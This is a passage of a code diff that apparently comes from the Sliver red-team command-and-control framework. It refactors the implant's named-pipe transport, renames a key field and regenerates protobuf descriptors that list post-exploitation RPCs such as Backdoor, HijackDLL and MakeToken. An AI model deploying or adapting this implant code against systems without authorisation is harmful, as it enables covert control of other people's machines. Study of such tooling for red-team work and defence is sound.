||||
if reconnectInterval == time.Duration(0) {
|
||||
|
||||
@@ -23,6 +23,8 @@ package transports
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/namedpipe"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
@@ -30,20 +32,16 @@ import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
opts := &pivotclients.NamedPipePivotOptions{}
|
||||
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
|
||||
conn, err := namedpipe.NamedPipeConnect(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan struct{}, 1)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -57,33 +55,25 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- struct{}{}
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
connection.Stop = func() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[named-pipe] Stop()")
|
||||
// {{end}}
|
||||
connection.Cleanup()
|
||||
return nil
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
client.WriteEnvelope(envelope)
|
||||
namedpipe.WriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := client.ReadEnvelope()
|
||||
envelope, err := namedpipe.ReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
@@ -95,7 +85,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// Copyright (C) 2018, Rapid7 LLC, Boston, MA, USA.
|
||||
// All rights reserved. This material contains unpublished, copyrighted
|
||||
|
||||
+540
-541
File diff suppressed because it is too large.
Load diff
@@ -131,7 +131,7 @@ message ImplantConfig {
|
||||
string ECCPublicKey = 23;
|
||||
string ECCPrivateKey = 24;
|
||||
string ECCPublicKeySignature = 25;
|
||||
string MinisignServerPublicKey = 26;
|
||||
string ECCServerPublicKey = 26;
|
||||
|
||||
string WGImplantPrivKey = 30;
|
||||
string WGServerPubKey = 31;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.15.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.15.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+393
-387
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.15.8
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0x9d, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xaa, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -296,163 +296,164 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e,
|
||||
0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x4e, 0x0a,
|
||||
0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65,
|
||||
0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
|
||||
0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
|
||||
0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a,
|
||||
0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
|
||||
0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
|
||||
0x70, 0x74, 0x79, 0x12, 0x47, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74,
|
||||
0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x40, 0x0a, 0x0c,
|
||||
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
|
||||
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
|
||||
0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
|
||||
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
|
||||
0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
|
||||
0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
|
||||
0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
|
||||
0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
|
||||
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
|
||||
0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
|
||||
0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
|
||||
0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
|
||||
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
|
||||
0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
|
||||
0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
|
||||
0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
|
||||
0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
|
||||
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
|
||||
0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
|
||||
0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
|
||||
0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
|
||||
0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
|
||||
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
|
||||
0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
|
||||
0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x3b, 0x0a,
|
||||
0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x17, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65,
|
||||
0x73, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x38, 0x0a, 0x0b, 0x54, 0x43,
|
||||
0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x43, 0x50, 0x50,
|
||||
0x69, 0x76, 0x6f, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x50, 0x69, 0x76, 0x6f,
|
||||
0x74, 0x73, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
|
||||
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x12,
|
||||
0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
|
||||
0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74,
|
||||
0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66,
|
||||
0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
|
||||
0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70,
|
||||
0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66,
|
||||
0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69,
|
||||
0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
|
||||
0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
|
||||
0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b,
|
||||
0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61,
|
||||
0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
|
||||
0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f,
|
||||
0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
|
||||
0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e,
|
||||
0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f,
|
||||
0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61,
|
||||
0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a,
|
||||
0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
|
||||
0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
|
||||
0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
|
||||
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74,
|
||||
0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
|
||||
0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
|
||||
0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
|
||||
0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
|
||||
0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65,
|
||||
0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
|
||||
0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e,
|
||||
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50,
|
||||
0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64,
|
||||
0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74,
|
||||
0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
|
||||
